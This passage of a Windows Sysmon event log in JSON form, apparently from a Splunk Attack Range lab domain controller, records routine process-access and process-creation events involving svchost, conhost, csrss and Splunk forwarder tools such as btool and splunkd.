7bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1684,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1685,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1686,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1687,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1688,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1689,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-001072080300}\r\nTargetProcessId: 3996\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-001072080300}","TargetProcessId":"3996","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1690,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.790\r\nProcessGuid: {90617006-3FE5-5F2D-0000-001035090300}\r\nProcessId: 4016\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nFileVersion: 8.0.2\r\nDescription: splunkd service\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunkd.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool server list kvstore --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589\r\nParentProcessGuid: {90617006-3FE5-5F2D-0000-001072080300}\r\nParentProcessId: 3996\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nParentCommandLine: btool server list kvstore --no-log","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.790","ProcessGuid":"{90617006-3FE5-5F2D-0000-001035090300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","FileVersion":"8.0.2","Description":"splunkd service","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunkd.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool server list kvstore --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589","ParentProcessGuid":"{90617006-3FE5-5F2D-0000-001072080300}","ParentProcessId":"3996","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","ParentCommandLine":"btool server list kvstore --no-log","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1691,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-001072080300}\r\nSourceProcessId: 3996\r\nSourceThreadId: 4000\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-001035090300}\r\nTargetProcessId: 4016\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-001072080300}","SourceProcessId":"3996","SourceThreadId":"4000","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-001035090300}","TargetProcessId":"4016","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1692,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-001035090300}\r\nTargetProcessId: 4016\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-001035090300}","TargetProcessId":"4016","TargetImage":"C:\\Program 